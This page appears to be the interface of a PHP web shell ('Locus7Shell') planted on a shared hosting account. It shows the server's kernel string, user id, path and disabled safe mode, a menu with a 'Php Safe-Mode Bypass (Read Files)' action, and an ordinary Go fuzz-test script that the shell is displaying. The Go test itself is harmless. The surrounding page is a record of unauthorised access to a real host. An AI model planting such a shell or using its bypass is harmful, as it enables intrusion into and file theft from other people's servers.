![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/cmd/go/testdata/script/ drwxr-xr-x |
Viewing file: Select action/file-type: [!fuzz] skip [short] skip env GOCACHE=$WORK/cache # The fuzz function should be able to detect whether -timeout # was set with T.Deadline. Note there is no F.Deadline, and # there is no timeout while fuzzing, even if -fuzztime is set. go test -run=FuzzDeadline -wantdeadline=true # -timeout defaults to 10m go test -run=FuzzDeadline -timeout=0 -wantdeadline=false ! go test -run=FuzzDeadline -timeout=1s -wantdeadline=false go test -run=FuzzDeadline -timeout=1s -wantdeadline=true go test -fuzz=FuzzDeadline -timeout=0 -fuzztime=1s -wantdeadline=false go test -fuzz=FuzzDeadline -timeout=0 -fuzztime=100x -wantdeadline=false -- go.mod -- module fuzz go 1.16 -- fuzz_deadline_test.go -- package fuzz_test import ( "flag" "testing" ) var wantDeadline = flag.Bool("wantdeadline", false, "whether the test should have a deadline") func FuzzDeadline(f *testing.F) { f.Add("run once") f.Fuzz(func (t *testing.T, _ string) { if _, hasDeadline := t.Deadline(); hasDeadline != *wantDeadline { t.Fatalf("function got %v; want %v", hasDeadline, *wantDeadline) } }) } |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]-- |